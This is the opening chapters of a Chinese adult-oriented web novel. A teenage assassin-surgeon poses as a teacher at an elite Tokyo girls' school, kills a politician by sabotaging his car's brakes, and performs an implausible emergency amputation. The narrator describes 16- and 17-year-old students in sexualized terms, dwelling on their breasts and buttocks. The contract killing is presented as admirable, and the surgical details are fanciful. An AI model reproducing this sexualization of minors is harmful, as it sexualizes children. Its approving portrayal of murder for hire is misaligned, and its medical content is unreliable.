图片载入中

女校先生1

特大字】 【大字】 【中字】 【小字

序:

美国,维吉尼亚州,兴波多马克河北岸的华盛顿州相望而立。

合众国创立者华盛顿,卸下总统职务后,就来到了维吉尼亚州的佛晨山隐居,不知道是不是受了这个的影响,到了现在,拂晨山的山上山下,全不满了密密麻麻的别野豪宅。

黄昏时分,夕阳照射在两旁的整齐庄园,延伸至少十公里的土地,至少有一百多个私人的庄园,大道再往上,就是进入佛晨山的山道。

一辆九二年产的福特车,从远处行驶过来,转出大道,正要进入一个小型的麻石色泽庄园时,后面忽然响起了一阵喇叭声音。

我停下车来,望向尾随而至的一辆越野车,还不待完全停好,车里已经跑出一个略显肥胖的中年妇女。

“琳娜夫人有什么事吗?”

我问道。

“呵呵,纳克先生,我父亲的头疼病又犯了想请你去看看,你今晚有空吗?”

中年妇女恭敬的道。

“今晚应该没有什么事情。”

我沈吟一番,“那么八点钟我去你家里吧。”

“好!好!”

中年妇女笑得开心极了,“你可比科里纳这个庸医好多了,他开的药老是只有几天效用,你的药至少能让我父亲半年不犯病……那我就走了哦,今晚我准备好了香喷喷的奶酪酥油饼干,你一定会喜欢的。”

看着琳娜夫人驱车离开,我摇摇头,重新开动了车子。

如果老头子知道,北美第一神刀居然被拿来和一个乡村医生比较,多半又得吹胡子瞪眼半天吧。

在进门的左边停好车子,五米远处,是栋层十八世纪农庄风格的房子,虽然已经接近半晚,可这里还是没有灯光,静悄悄的一片。

今天是我每周回来一次的日子,从我三年前搬到华盛顿后,回来时常常都能看见房子里灯火通明,外加淫声浪语不断。

老头子近年来十分贪恋女色,三人行、五人行……甚至更多的,他都在家里干过。

遇到我回来了,他可是毫不避嫌,反而是我看着这么多赤裸裸的美女,摆出各种诱人的姿势,自己就脸红的躲到落上去了。

都怪老头子,教我不知道是什么中国的破功夫,书上第一页写着如果在十八岁之前破身,马上就会爆体而亡,吓的我这些年一直没敢开戒,只得老老实实的工作。

像是今天这样安静的场景,实在是不多见,走进房子的时候,我甚至恶意在想,不会是老头子搞女人太多,以至于精尽人亡了吧?

在离开房子还有三米的距离时,不知道为何,我心中忽现警兆,灵敏无比的鼻子同时闻到了一股淡淡的茉莉花香气。

靠!

来不及多想,我聚集起浑身的真气到脚尖,一点一转,像一只大鸟般极速飞向了外面,整个人在空中留下了一条微不可见的影子。

“轰轰……”

房子忽然剧烈的爆炸开来,巨大的火球冲天而起,迳直焚烧了周围数十坪的空间。

饶是我反应得快,也被猛烈的冲击波给震了一下,沈哼一声,落在了二十几米外的另一栋庄园背后。

如此大的爆炸,立刻引起了周围居民和路过车辆的注意,一时间,惊恐喊叫声有之,打电话报警者有之,整个公路周围,乱成了一片。

哼!

好大的本钱!

居然有了“耶和华”佣兵团的最强炸药——“天堂”这可是拳头大小就能炸死上百人超级炸弹啊!

要不是我平日里行动时,也用过不少同样的“天堂”;要不是我的鼻子因为习武而灵敏极了数百倍,根本就不可能闻到这里淡淡的茉莉花香气。

我根本不用看庄园的周围,在“天堂”的威力下,不可能有人活着,除非他是神仙——而老头子只不过是个超级变态的高手罢了,他还不是神仙。

微叹一声,我再次施展起轻功来,几个起落之间,已经消失在那一排排的庄园深处。

第一章前进女校

二000年,三月十一日“各位女客你们好,我们现在已经降落在东京成田机场,谢谢你们乘坐全日公司……”

空中小姐甜美的声音在广播中响起,飞机正在跑道上滑行,还有一段时间才会踏上日本的国土。

我闭着眼睛,脑子里再一次出现了那封信:小子,当你看到这封信时,说明我已经被仇家找到了。恭喜你,你可以高兴的摆脱我这个吸血鬼师父了,不要想着帮我报仇,你现在给我马上到日本去,我在那里给你找了个很有前途的工作,三年之内不许离开那里,等到三年后,才准回到美国,到三十六号隐匿点,拿出我留给你的第二封信……哈哈,小子,说起来,你三月十八日就满十八岁了吧?日本的美女可是很多的,你不给我泡个十个八个的,将来你上了天堂,我也一脚将你踢回到地狱去!

看着这封信的时候,我脑子里浮现出一个猥琐的老头子,眉飞色舞的说话的场景。

老头子就是这个样子,从来不知道开心是什么东西,就算是写下这封离别信之时,也应该是笑着的吧!

整个飞机一顿,机舱里面蓦地灯光大亮,我夹在人群中离开了飞机,一阵简单的海关检查后,我走出了成田机场的大门。

“东京,足利区,樱花町,樱花学园。”

简单的说了几个字,我便闭口不语。

对于精通中、英、德、法、葡、日、阿拉伯语等的我来说,区区日语是不在话下,而且在日语之中,我还能说出古代日语和现代日语,更可以在必要的时候,冒出一口流利的江户时代贵族日语来。

穿着司机制服,手带雪白手套、圆盘大帽的中年人拘谨的一点头,开动了他的皇冠计程车。

从未与千叶附近的成田到东京都,需要一个半小时的时间,再在东京那乱如蜘蛛网的狭小道路上穿行了两个小时,终于在下午三点五十分,到达了位于东京都东上角的二十三区之足利区的樱花町。

这里几乎是远离了东京最繁华的地方,四周没有耸立着的高楼大厦,一条条街道呈田字形分布,商店和住房并不是很严格的区分,樱花学园就是坐落在最外面的一条街道上,几乎占据了街道的一半。

走下车来,我看着眼前的学校,从大门进去,还有二十几米才能看见那边的教学楼,在三座五层楼高的教学楼周围,游泳池、网球场、体育馆、棒球场都有,而位于教学楼的后面,则是六栋十层楼高的公寓房子,从公寓的窗户看过去,一间间的都不大。

“请问先生有何贵干?”

学校大门旁边的警卫室里,走出来一个穿着粉红色套装的女人,疑声问道。

她大约三十多岁,长得并不漂亮,戴着一副黑色眼镜,脸上没有露出笑容,显出她性格上的严厉。

“我是来自美国的纳克,和贵校的教务主任玉木真纪约好了今天下午见面。”

我径直说出英语道。

“哦,是纳克先生啊!”

女人赶紧一鞠躬,“你好,我是山下静子,主任已经在等你了,请跟我来。”

山下静子带着我进入了教学楼旁边的一座房子,迳直上了二楼。

“砰砰!”

她敲响了写着“教务主任——玉木”的房间大门。

“请进。”

里面一声清越的女声。

山下静子推门而入,“失礼了,主任,你等的纳克先生已经来了。”

“请他进来吧,你去帮我们泡两杯咖啡来。”

清越的女生道。

“是!”

等到山下静子让出了门口的位置,我看清了坐在里面大办公桌后面的女人。

这个女人年龄越四十来岁,保养得很好,算不上漂亮的脸上,挂着淡淡的笑意,和她的声音一样,给人一种亲和的感觉。

“请坐,纳克先生,我是玉木真纪,很高兴见到你。”

玉木真纪起身行了一个礼,却不和我行握手礼节。

等到我坐下后,不待她说话,我就从随身的小皮箱里掏出一份厚厚的文件夹递给了她,最上面的是我的美国护照。

玉木真纪微微一笑,拿起了资料慢慢的看着,还不时的擡起头看我一眼,脸色说不出是高兴还是别的什么。

“纳克,布鲁斯,男,二十六岁,出身于美国康乃迪克州,日文名柳骏雄(YANAGI TOSHIO),柳氏家族是日本贵族,乃是二宫X天皇御赐的世袭伯爵,哈佛大学商业管理博士、文理学博士、设计学博士、教育学博士、神学博士。”

玉木真纪念着我的履历表,有着一丝丝的不相信,“纳克先生,如果不是有着摩杰克副校长的亲笔签名和电话,我是绝对不敢相信,你仅仅二十六岁,就囊括了哈佛大学十大学科之中一半的博士学历。”

我表面上微笑不语,实际上却是大骂着老头子。

不知道他从哪里给我搞来的这份假学历,还说动了哈佛副校长帮忙圆谎,老子除了知道哈佛大学在马萨诸塞州之外,其余什么后不知道。

再说了,虽然我在此之前从来没有离开过美国,但老子也知道自己是一个堂堂正正的华夏国人,被他随便改变国籍,弄成父母是日本人,罪过罪过,在西方极乐世界的老爹老妈,你们要怪罪就去追杀我师傅吧,与我可无关。

不过也算巧合啦,我的中文名字居然也可以直译成日文,而日本的姓名之中,正好有不少的柳氏家族出身贵族,鱼目混珠倒是可以的。

正在这埋怨的当儿,玉木真纪却又绽开笑容,自顾自得道:“不过你是我们东瀛一族的优秀血脉,又是纯正的贵族血脉,有此成就也不足为奇,这也反过来证明了我们的优秀。柳先生,你是我们大和民族的骄傲!就冲着这一点,你就能在我们学校担任好老师的工作了。”

看着她发自内心的得意笑容,我忍不住打了个寒颤,奶奶的,难怪老头子要变我的国籍了,如果这么优秀的人才不是日本人,她怎么会让我进入这个全日本最为优秀和高贵的贵族女校呢?

樱花学园的资料,在老头子给的文件中写的很详细,这所学院分为国中和高中两部,招收的是全日本的适龄少女。

不过樱花学园与其他学校的制度可不一样:只招收女性学生、只招收有日本贵族血脉的后代——据说是为了保持贵族女校的纯洁和高贵。

樱花学园收费方面也特别的昂贵,一年学费高达三千万日元,经过九十年代的长期经济低迷,在二000年的今天,三千万算是一个非常大的数字。

虽然有着种种条件的限制,但是樱花学院每年的招收名额仍旧被抢得要爆开,不过无论怎样争夺,国中、高中每一级的学生,都只会有一百人,不能多也不会少。

玉木真纪看见我有些恍惚,不以为意的道:“柳先生,你回到日本,以后就用日本名字吧,洋夷的名字叫起来不怎么顺口。”

“好。”

我爽快的点头道,名字只是个代号而已,也没什么在意的。

“不过有一点我很是担心纳。”

玉木真纪忽然正色了起来,“柳先生,你有女朋友吗?有正常的性生活吗?一次性交的时间是多少?能持久吗?”

我差点没有一头栽倒在地,顿时间,我有一种对一百个杀手,也不愿面对这个女人的想法。

看她紧盯着我,我只得露出了腼腆的神色,“主任你问这个干什么?似乎这个关系到我的隐私吧?”

“不要拿美国的法律来说话,这里是日本。”

玉木真纪脸色越加的严厉,“我问你的问题,关系到你是不是能在我们学校任职,请你据实回答。”

脑海中念头如飞般闪过,有没有女朋友,有没有性生活……这个代表了什么呢?

我让真气在脸上弄出一丝红色,压低了声音:“我来日本之前有过女朋友,不过现在是单身一人。”

教务主任皱眉道:“那就是最近都没有性生活?”

玉木真纪的话让我几次想要暴打她一番,难道不知道这样的话语,对仍旧是处男的我来说,是一种赤裸裸的刺激吗?

“是的。”

我颇为无奈的问道,“主任,你能能不能给我讲一下,我做老师和你问的问题,到底有什么关系?”

“你也应该知道,我们樱花学园是一个高贵的贵族学园,在这里的少女们,以后后会是各位大臣、贵族、世家的正堂夫人。所以,她们的贞洁绝对不容于有任何的玷污。”

我闻言一笑道:“这个你可以放心,我来此的目的是坐好一个老师,别的什么都不会想。”

玉木真纪露出赞赏的笑容,“我当然放心,从你的天才学历,还有我们的接触来看,你绝对是一个优秀的年轻人。只不过少女的父母们,却不知道这些,他们需要的是一个百分之百的保证。”

听到这里我有些明白了。

但是教务主任的下一句话,却又是那么的石破惊天:“所以,柳雄君,请你在日本找几个美丽的女朋友吧!把你的所有的白色黏稠液体,全部发泄到她们娇媚的身体上,从而只保持一颗纯洁的心,进入我们的学校!”

我从来没有发现自己也会这么厚脸皮,只听我朗声的回答道:“好,我知道了,一定会如你所愿的。”

玉木真纪将手中的资料还给我,站起来伸出了手,“那么你先去办理一下个人事宜,三天之后,正式开始教导高贵的少女们。我期待着你将她们培育成和你一样的。最为优秀的商业女天才!”

从教职员工办公大楼里面走出来,自有山下静子带着我离开。

现在办好了正事,我也有了打量四周环境的心情,路过一个排球场时,恰好里面正有一场比赛。

对阵的双方都是十六、十七岁的少女,她们的个子都以六百六十公分左右,身穿红白两色服装的她们,手上不住的动作着,欢快的打着球。

少女们的相貌或清秀或美艳或淡雅,一个个看上去都是美人儿,并且身材都很不错,一对对饱满的玉乳在胸罩的包裹下形态完美,紧身的运动短裤包裹着的,更是一个个青涩而挺翘的少女美臀。

我大量她们的时候,她们也在打量着我,像这种贵族女校,出现男人的次数是屈指可数,更何况是我这么高大而年轻英俊的。

“小心!”

一声清脆的惊唿声传来,我的头顶上猛的出现了一个黑影,我顺手一抓,立刻将它抓在了大手之中。

原来是她们正在使用的排球。

因为不巧击中其中一个少女的手腕后,产生了反弹,正好飞向了我。

“哇!”

少女们的娇唿声清脆悦耳,她们都很崇拜的看着我,长期打排球的少女们都知道,一只手接住从空中飞来的排球可不容易,不但要考验眼力,更要保证抓球的时机和力度,各种要素缺一不可。

“哥哥,你好MAN了!”

一位身材火爆的高大少女大声的说道。刚才我看的排球少女中,胸前一对玉峰最为硕大的就是她,起码有E罩杯,要知道她可是十六、七岁的女耗子,还没有经历过男人的滋润,能长成这么打的胸乳,足可以自傲。

再看巨乳少女的相貌,雪白的瓜子脸下,幼眉弯弯,秋波流转,因为打球流出的汗珠,少女的娇腮欲晕,虽然年龄尚幼,但也堪称人间绝色。

我微微一笑,随意的一抛,把球准确的丢到她的手中,“下次小心些。”

然后便不理会她们,在山下静子之前,率先走了出去。

身后一阵叽叽喳喳的欢声笑语随即传来。

“嘻嘻,这个少年真的好有气质哦!”

“是啊是啊,会里,你刚才胆子好大,说不定人家对你印象深刻了哦!”

“嗯,我要有这么个男朋友就好了呢!”

“做梦吧!在这群老姑婆的手中,有什么男人敢接近我们?”

“……”

少女们谈笑的声音,随着我步伐的远去而渐渐变小,但是她们热情洋溢而毫不掩饰的青春活力,却是我在十八年的生命中,从来没有感受过的。

或许,老头子这次是为了补偿我给他做牛做马,他特意给我的奖赏呢!

第二章初显身手

由于在学校教科不适宜距离太远,从学园出来,我在附近找了一家不动产公司,委托他们就近帮我买一栋房子。

我的手上有玉木真纪的一百万日元,是作为我租房子所用,还没有正式上课就给了一百万日元,樱花学园的财力可想而知。

不过我可不喜欢租房,什么东西都是自己的才好。

为老头子做牛做马、杀人放火那么多年,我身上的积蓄不少,扔出一百万美金的现金支票后,仅仅三个小时过去,不动产公司就在距离樱花学园两公里的叫做本町十二街的地方,替我找到一栋“一楼一底”的日本传统住宅。

所谓日本传统住宅,就是围墙里面修建一栋两层楼的木制房子,旁边有一个不小的花园,另外还有一个停车间。

在青森、恣城这些北方地方,这样的房子最为普遍,但在东京这样的国际大都市,要买下这么一栋住宅,还是很不容易的。

这套住宅外面颜色是淡雅的红木色,修建于二十年前,房主早已移居美国,全权委托不动产公司买卖。

签订好买卖不动产的协议,我又委托这家公司替我去周围的大商场大肆采购一番,由于根本不计较价钱,很快的,一车车的家俱、电器就运到了房子之中。

在此之前,数十个清洁公司的中年女人早已将房间打扫得干干净净。

就这么不到五个小时的时间过后,我终于坐在了自己的新家之中,看着窗明几净的房间,我想起佛晨山下的庄园,也想起了那上了天堂的老头子,心中一片感慨。

老头子,我发誓,不管是谁,一定要让他们经历世界上最残忍的刑罪后,痛叫忏悔中死去!

我要他们在地狱中后悔来对付你!

此时,我的眼中冷厉异常,和我刚才在樱花学园似的腼腆大为不一样,如此凌厉的杀气,如果让玉木真纪看见了,保证马上辞退我,什么话都不会多说。

不过一想起老头子给我规定的三年不许离开日本,我心中是疑惑连连,老头子也真是的,为什么要这么故弄玄虚?难道身为北美杀手业界第一的我,还会杀不了那些毛贼?

思索之间,我拿出了手提电脑,在我随身携带的小皮箱中,就只有这台手提电脑和应付樱花学园的资料,衣服什么的没有——在这个世界上,只要有钱,什么东西买不到?

二000年的日本,对于无线上网的技术仍旧没有普及,不过我这台手提电脑乃是花了大钱在戴尔电脑公司订做的,我自己在内里安装了一个卫星信号接收器,直接连接美国军方的一颗军事卫星,就更别说能否上网的问题了。

像是我的其中一个职业,很多事务都需要靠网路来处理,绝对不能给别人留下一点蛛丝马迹的线索,否则仇家和对手顺着网路使用的地点追踪而来,对我的安全总是一种威胁。

先是打开一个普通的金融网站,在登陆了会员过后,眼前的书面顿时改变成一个纯黑色的页面,上面写着鲜红色的SHIT打字,然后再在下面一点,还有一个登陆的框架。

ID上我输入了DOCTOR,随后输入长达十二味道密码,按下ENTER键后,一声柔美的声音响起:“欢饮你回来,尊敬的医生。”

页面风格随之在变,一个柔和的白色页面下,我的电子信箱有三封信件。

打开一看,第一封要求我去杀新墨西哥州的警察局长卡佛尔;第二封要求我去杀掉科尼迪亚财团的二公子;第三封只写着“快跟我联系”的字样,落款后有一个手机号码。

前面两封信都没有标注价码,这是因为大家都知道,医生杀人从来都是一千万一码。

“哦,老天,医生,你终于给我打电话了,你再晚一天打来,我就的被人追杀了。”

一个豪爽的大嗓门在电话那头响起。

“别废话,你以为我想来日本吗?”

我叹了一口气,“好了,威廉,别多说了,又有什么鸡毛蒜皮的事情找我?”

“嘿嘿,你不是说你这三年都要呆在那个东方岛国吗?所以前些日子我就替你联系好了一笔买卖,结果现在时间都快到了,你却还没有出现,真是让我担心啊!”

“这么快就有人找上门了?”

我嘴角泛起一丝冷笑,“是谁又要倒霉了?”

“那是当然,你医生是什么身份?堂堂北美第一杀手啊!以前你从来不出美国倒也罢了,现在居然驾临他们小小的岛国,那里的富豪们,还能不捧着钱来求你吗?”

豪爽的大嗓门说道,“目标是东京的一位参议员,坂田勤,截止时间是今晚十二点,资料我马上传到你的电子信箱里面。”

我看了看时间,哑然失笑道:“那不是只剩不到三个小时了?你可真够幸运的。”

电话那头的威廉,是一个很不错的杀手职业经纪人,我曾经帮他完成过几项任务,所以关系还算不错。

在杀手行当中有个规定,如果超过委托人的委托时间还不行动,那么接下这笔生意的人,将会受到杀手工会的谴责,这个杀手就会没有工会推荐的生意做,在信用上沦为末流的杀手。

除此之外,负责联系这个杀手的职业经纪人,因为督促不得力,一定会被杀手工会取掉身上的一个部位,作为惩罚。

“是啊,跟着医生你,我还能不幸运吗?”

威廉恭维了几句,旋即挂上了电话,资料在一分钟之内传到了我的信箱,看的出来他是早有准备。

威廉虽然跟我关系不错,但是平日里他除了电子邮件之外,是无法联系到我的。

就像是这次我打电话给他,他的手机上不但不会显示号码,而且去电信公司查,也查不到任何的通话记录。

因为我这个手机是和那颗美国军事卫星连接着的,除非有人破译了军事卫星密码,否则谁也别想透过电话找到我。

放下电话,我查看着邮件里面关于坂田勤的资料。

(邮件内容这儿就不分行了)基本资料:坂田勤,男,四十八岁,东京都议员,是东京都知事的得力助手,管理交通方面的立法工作。

性格爱好:冷漠贪婪,喜欢看歌舞伎表演,有两个歌舞伎的情妇。

家庭情况:一妻,无子。

活动范围:白天在都议院工作,下午六点下班到海草“笑福亭”歌舞伎剧团,十一点准时回家。

买主要求:让他的死亡看起来像是一起交通意外。

短短的几行字之后,是坂田勤的照片,包括全身,半身和侧面照都有。

这个人是典型的日本男人,个子不高,可眼睛很是锐利,板着一张脸庞的他,在工作中也以强硬着称。

最后则是一张电子地图,标注着他每天必经的路线,还有他车牌号码和专车。

仔细的将上面的每一个细节记在脑海里后,我删除掉了电子邮件,退出登入页面后,站起身子,走出了还没有待上半天的新家。

在前来日本的路上,我首先就记住了东京的地图,不过为了行动的方便,我在还没有实地的熟悉东京的环境前,还是选择了计程车。

半个小时后,浅草区的一条繁华街道上,我已经看到了一栋高楼之上,悬挂着“笑福亭歌舞伎”的牌子,上面写着“二十二、二十三、二十四楼,年中无休”的字样。

歌舞伎是日本的传统剧目,有记载的已经有一千多年的历史,和相扑、能剧一样,被称为日本的国粹。

在古代,歌舞伎就不是平民能观看的节目,就算是到了现代也一样,凡是能进入歌舞伎剧团欣赏的,无一不是身价雄厚的富豪、或是传统贵族和官员。

日本就是这么一个等级严格分明的国家,所以别看“笑福亭”的牌子打得响亮,实际上一般的白领或是小老板,也只能在外面吞吞口水罢了。

此时的我,已经用真气改变了自己的脸部轮廓,比起我真正的相貌来,现在我的脸部表情冷漠了不少,模样比起之前要粗犷些。

像是这种大楼,都有自己的地下停车场,我四处打量了一下,慢慢走近了大楼。

随意找了一处隐蔽的房间,我拿出了手机,里面一阵转换后,立刻呈现出了一条街道的全景,而如果有人看得到的话,他一定会说,手机书面上的,就是我伸出的这条街道。

再按了两下,街道慢慢的放大,渐渐地只呈现这栋大楼的情景,大楼从实体变成了网络状的虚拟图像。

最后我将透视的地点转向了大楼地下三层的空间,略微探查了一会儿,立刻找到了坂田勤的丰田七开门房车,旁边则是他保镖的两辆宾士商务车。

从透视地图上看过去,停车场一共有三个出入口,监视的摄影镜头连到了十二个之多,可以说基本上没有死角。

摄影镜头的终端设备在停车场的最外面出口,一个很大的房间之中,军事卫星探测到五个热能发射源,也就是有五个人在房间里面。

清楚了方位后,我迅速的揭开了这个房间的通风口,身形一缩就飞了进去。

狭小的通风口并不能阻碍我的行动,在里面的我根本不用接触到什么东西,手掌连点身下铝板,数十米的弯曲通道一闪而过,最后抵达了距离停车场出口三十多米的地方。

深吸一口气,我忽然间将功力提升到极致,整个人在灯光昏暗的通道之中化成一道淡淡的影子,一闪而过,从开着的窗口处,飞进了房间。

记住了五个人方位的我,刚刚越过窗口的时候,就摔出师快非常细小的石头,打在了五人的黑天穴和麻穴上,五人连哼都没有哼一声,就陷入了昏迷。

看了看那五个或坐或立的保全人员,我将十二个摄影镜头都暂停下来,对准了数十米开外的丰田房车,弹出了一个一公分左右的圆球,黏贴在了它左边的轮胎内侧刹车盘上。

我可没有那么笨,刚才的卫星探测器上显示,三辆车之中都有保镖司机留守,上前去动手动脚,不可能不惊动他们。

有了我超强的严厉和手腕力道,这一切都没有有了阻碍,不过看似简简单单的一次弹指发射,却是十几年苦练的结果。

做完这个动作,我微微一笑,身躯又如一道闪电般飞出了窗户,同样的,在我飞出窗户的一瞬间,石块细小的石头再次弹出,将失去知觉的五个保全人员恢复了正常。

整个行动如行云流水,五个保全人员根本察觉不出自己有过什么变化,甚至连眼前的物件也没有变化过,自然他们也就不知道监控室早已被人入侵过。

晚上十一点二十五分,我等待在他回家路上的一个路口。

此刻车辆比起白天来已经有了明显的减少,开车的速度也能快上一些,故而他们的车子行驶过来时,速度都渐渐的提了起来,起码有每小时六十公里。

这个速度虽然不算快,但也勉强能用了。

喝着从便利店买来的热奶茶,等到车辆经过我后十几米,我放在裤兜里的手一按,丰田房车的左轮立刻冒出了火花,歪向了一边。

行驶中的车辆遇到此事,自然是大忌。

里面的司机努力踩着刹车想要停下车子,却因为刹车盘被破坏,所以一踩刹车反而是给予了另一种力道,眼看就要滑出道路,撞向路边的房子。

“梆铛!”

后面那来不及刹车的宾士商务车,恰好在这时撞到了丰田房车的尾部,一股剧烈的冲撞之力,加上斜倒得力量,刹车的力量,让丰田房车干净利落的在地面上翻滚起来,上演了一个七百二十度旋转大翻身,最后重重地砸在旁边的人行道上面。

“轰!”

没有等到前面一辆车子的保镖们冲过来救人,丰田房车的火花点燃了流出来的汽油,一个漂亮的火球引爆了整辆车子,伴随着滚滚浓烟,断然升上了天空。

我淡淡一笑,将喝完的那茶杯子放进了街边的可燃垃圾桶,转身离去。

第三章美女医生

坐车回到本町十二街,还没到街口,就看到大路旁围着一堆人,有些还穿着睡衣,看样子都是周围住户。

人群之中,仍旧可见一辆汽车撞在了街边的栏杆上,周围还停了一辆白色的救护车。

“好惨啊,看样子不知道活不活的了。”

“次郎,这就是喝酒驾驶惹来的后果,你知道厉害了吧?”……

在人群的说话声中,放慢行驶的计程车,已经靠近了事故现场,但由于街道太过狭小,停了一辆汽车和救护车就再也无法让车辆通行,我也爽快地付钱下车,不用再等待路道开通。

路过事故现场,我看到有两个穿着粉红色制服的护士,正在一个女医生的带领下,小心翼翼地将从汽车中擡出来的中你那男子放在担架上面。

虽然是夜色浓浓,车灯和路灯都不明亮,我还是看清楚了她们的容颜。

两个护士都长得清秀动人,但比起那个穿着白色医生袍子的女子来说,却又宛若繁星对皓月,蚂蚁之于大象。

女医生年龄不大,一张清纯白皙的脸庞,秀美中透着一股英气,鼻子微微上翘,目光映射在她明亮的大眼睛中,仿佛两颗闪亮的星星一般。

“快,赶快送去摩多医学院!”

美女医生还没等护士们将中年人擡上救护车,就对着救护车司机大声道。

一个老驼子看起来也懂一点医学,赶紧阻止道:“京香,他现在流血不止,恐怕不能支持那么久啊,不如在你的诊所先救治吧!”

“可是,他大腿动脉断裂,引发了大出血,我的技术还有设备条件,根本不能满足治疗啊!”

美女一声轻蹙眉头道。

“不管那么多了,要不你先载回去给他止血,等到情况稍微稳定一点,再往摩多医学院送吧!”

老者坚持道,“如果不这样的话,最多半个小时他就会流血不止而死,而这个时间,刚好只够赶到摩多医学院。”

“是啊,京香,你就努力一下吧!”

其他的老婆婆和老头子听到,也纷纷劝说道。

“好吧……既然大家都这么说了,我就尽我的全力了。”

美女医生银牙一咬,随着护士跑进了救护车,“快,回诊所去,叫衫子她们准备好东西,争取一到就能做手术。”

救护车拉响了尖锐的叫声飞奔而去,在场的人逐渐的散开了去,接下来就只等着警察们来勘察,再通知事故者的家属,再没有旁人的事情。

我在人群后面摇头一笑,这个少女看起来社会经验不足啊!

那中年男子的大腿已经有萎缩的迹象,再看撕裂出血液呈网状的飙飞,就知道他受伤有多么严重,即使是我这个北美第一神刀出手,也只能保住他不死,但也肯定会使其残疾。

刚才听美女医生说,她是一家小诊所的医生,如果这次治疗不成功,让病人死在她的诊所里,无论是什么原因,对小诊所的荣誉都是沉重的打击。

遇上有经验的医生,他们一定会选择往最大的医院送,反正治疗的责任又不在他们身上。

更有甚者,再黑心一点的医生,会拉着病人四处乱跑,直到在车子里断气,这才不会影响他们的利益。

想起那女子的绝色相貌,还有她那坚毅的神情,我心中不知怎么的,忽然有了一种怜悯的感觉,以至于等我发现之时,我已经尾随在救护车的后面,跟着救护车到了一栋三层高的小楼前停下。

小楼旁边的牌子上,写着“铃木私人诊所”的牌号。

有着另外两个女护士的接应,一群人手忙脚乱的推车进入诊所,美女医生走在了最前面,但她并不是跟着护士们一起,而是自顾自地跑进了手术室旁边的准备房间。

在这里,她迅即的脱下了外面染血的白色衣袍,露出里面一件紧身的T恤来,也显露出了峰峦叠起的美好胸部。

换手术衣、戴手术帽、消毒……美女医生紧凑而不失条理的忙碌着。

但她蓦地浑身一颤,旋即转身过来,看见了笑望着她的我。

“你……你是谁?来干什么的?”

美女医生轻声颤抖着问道,脸上有着一丝害怕。

这是因为我依旧保持了属于杀手医生的相貌,只不过在脸上戴了一副眼镜,看上去不但不能给人一种文雅的安宁,反而有着一种大灰狼披着新衣衫装和善的古怪感觉。

我冷冷地道:“我也是一个医生,只是想来看看,你一个小小的私家诊所的医生,是怎么救治这个大腿动脉被断裂、肝脑缺血、血压循环马上就要陷入枯竭的病人。”

美女医生眼睛一亮,从来不知道什么事项求的她,一时间福至心灵,猛地双手抓住了我的手臂,“求求你救救他!你能这么快看出他的症状,就一定有这个本事!求求你了!”

我不带感情的问道:“我为什么要救他?像是这种生存几率不到百分之一的人,像是这种喝酒醉驾车自讨苦吃的人,我为什么要救他?”

美女医生咬咬牙,“因为你是医生,我们进入医学院学习的第一天,老师就教我们,医生的最大职责就是救治每一个能够救治的病人,哪怕只有一点点的希望。”

她还真是单纯啊!

我忍住笑意,淡然道:“你要我救他,也可以,只不过你能给我多少钱?”

美女医生还没有来得及高兴,就被我后面的一句话难住了,她讪讪地道:“我没有多少钱,你看一百万行吗?”

一百万?

我摇摇头,这个价码在美国连一个普通的外科医生都请不到,更何况是如此复杂万分的手术。

美女医生自己也知道钱很少,连忙道:“我给你的钱很少,但是每救助一个人,他们都会回报给你一颗真诚的心,难道这不比金钱宝贵吗?”

我没有说话。

美丽的女医生看了看时间,银牙又一次次咬紧了,“好吧,既然你不愿意,那就我自己去了,请你离开吧!”

说罢,她拿起一个口罩和一双手套,转身就往门外走去。

“你不准备给我一套手术使用的衣服吗?”

一个清凉冷淡的声音从她背后传来,美丽的女医生飞快的转过身来,娇脸上露出惊心动魄的笑容,“手术衣服就在右边的橱子里面,那是我父亲的,你应该就穿得了,快点,我们的时间不多了。”

话到了后来,美女医生有了催促之意,不过我理解她救人心切,二话不说,三两下就重复了一遍刚才她的动作。

美女医生还没有见过这么熟练的准备动作,她心中不由对我更有了一份信心。

手术室中,两个护士紧紧的按住了受伤中年男子的大腿,不让他太快的失去血液,还有一个在旁边准备了一大包的备用血液,随时准备给他输进去;最后一位年轻护士,则是在一旁快速的整理着手术用具,包括仪器和刀具针线等等。

但就算是这样,撕碎了衣服的中年男子,生命仍旧在快速的消失中,脸色越来越苍白。

美女医生进来时,四个女护士都不觉惊愕的望着她,不知道为什么她会带领一个穿着手术服的男医生进来,这个诊所可是没有男医生的。

“怎么办?”

美女医生不是第一次做手术,但这么危在旦夕的手术从来没有见过,一时之间心情慌了起来。

我几步走到中年男子所在的手术台上,眼睛一看,就迅速的吩咐起来:“给我二号手术刀、六号手术钳、三毫米缝补肉线;把心脏强压器打开,每三十秒以五十Pa的电流电流给他心脏镇压;输血速率增加到五分,快!”

一连串的说话中,包含着不可抗拒的力量,几个护士赶紧按照我的吩咐忙了起来。

结果其中一个护士递过来的针线和刀钳,我擡头望向了美女医生,“你拿着凝血喷雾,调到最大量,听我的号令全力喷凝,速度一定要快。”

美女医生下意识拿着一瓶液体低压凝血喷雾,守到了我的身边。

“喷!”

一声令下,美女医生将凝血喷雾迅速的淋在中年男子的大腿上,但这只能维持三秒钟的时间,紧接着,鲜血又会流出来,并且这种凝血喷雾是超低温药剂,对人体的伤害很大,一般情况下都不怎么用。

我凝神过来,手中手术刀飞快的在中年男子的大腿上划过,只一刀就将他连着一大半的骨头和筋脉给划破,再用手术钳一夹,中年男子的左边大腿立刻和他的身体分了家。

“啊!”

几个女孩子见状,都不可抑制的叫了出来。

“不要紧张,认真做你们的事情……快,止血!”

我运起真气道,其中自有凝神定气的作用,但却在同时,我手中已经拿着细微的针线,在血流如注的情况下,针线闪电般的飞舞着,连同我的手,都似乎消失不见。

五个女孩子只觉得心脏都要跳了出来,如此神奇的医术固然是闻所未闻,但最厉害的是,这位医生在埋头缝补血脉的同时,还不停的吩咐她们几个做事情。

她们都知道,要不是他在喊着督促着,恐怕自己几人早就忘记了职责,只会呆呆的看着他施展魔术。

“肝脏闻之,二十帕,压!”

“输血频率降低一半!”

“八号手术刀、六毫米缝补肉线!”

“准备氧气,十倍浓度!”

“凝血喷雾减少三分之一剂量,均匀喷溅!”……

手术紧张而又快速的进行着,铃木私人诊所的五个女孩子,在我的指挥下,不知疲倦的配合我的手术,由于太过紧张和新奇,她们只会条件反射般的动作,而忘记了其他的一切。

中年男子的左大腿伤势比我想像的还要严重,虽然及时将他的大腿气脉隔断、重新接到腹部那边,但大量的失血和五脏衰竭,仍旧是妨碍我救治的最大障碍。

不过,这点麻烦哪里难得住我,北美第一神刀岂是浪得虚名的?

